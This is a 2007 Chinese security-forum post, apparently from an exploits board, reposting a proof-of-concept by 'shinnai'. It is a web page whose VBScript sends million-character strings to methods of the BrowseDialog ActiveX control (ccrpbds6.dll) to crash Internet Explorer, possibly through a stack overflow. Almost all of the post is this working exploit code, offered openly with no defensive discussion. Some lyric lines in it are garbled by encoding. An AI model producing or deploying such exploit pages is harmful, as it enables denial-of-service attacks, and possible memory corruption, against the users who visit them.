BrowseDialog Class (ccrpbds6.dll) Multiple Methods DoS Exploit

pub!1c

魔

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 3926
精华: 128
积分: 209876
阅读权限: 200
性别: 男
在线时间: 1114 小时
注册时间: 2007-10-23
最后登录: 2008-10-10

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-2-26 11:31 只看该作者

BrowseDialog Class (ccrpbds6.dll) Multiple Methods DoS Exploit

复制内容到剪贴板

代码:

<pre>

<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------

 BrowseDialog Class (ccrpbds6.dll) multiple methods Denial of Service

 author: shinnai

 mail: shinnai[at]autistici[dot]org

 site: http://shinnai.altervista.org

 Soundtrack: "Zeta Reticoli" (Meganoidi)

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 I found other two methods in this dll that are unable to handle long string.

 It seems to be a Stack Overflow, but I&#39;m not sure of this :)

------------------------------------------------------------------------------





<object classid=&#39;clsid:19E6E148-BAEC-11D2-B03A-EAFC20524153&#39; id=&#39;BrowseDialog&#39;></object>

<select style="width: 404px" name="Pucca">

  <option value = "IsFolderAvailable">IsFolderAvailable</option>

  <option value = "RootFolder">RootFolder</option>

  <option value = "Quoting">Quoting...</option>

</select>







<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">



<script language=&#39;vbscript&#39;>

 Sub tryMe

  on error resume next

  if Pucca.value="IsFolderAvailable" then

    argCount  = 1

    arg1=String(1000000, "A")

    BrowseDialog.IsFolderAvailable arg1

    BrowseDialog.IsFolderAvailable arg1

  elseif Pucca.value="RootFolder" then

    argCount  = 1

    arg1=String(1000000, "A")

    BrowseDialog.RootFolder = arg1

    BrowseDialog.RootFolder = arg1

  else

    MsgBox "Brucia ancora che prima o poi ritorner&#683125;ot; & vbCrLf & _

    "Conservo di nascosto sempre lo stesso smalto" & vbCrLf &_

    "Non temere zeta reticoli on my mind" & vbCrLf &_

    "Aspetter&#658028; momento per un migliore slancio"

  end if

 End Sub

</script>

</span></span>

</code></pre>

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » BrowseDialog Class (ccrpbds6.dll) Multiple Methods DoS Exploit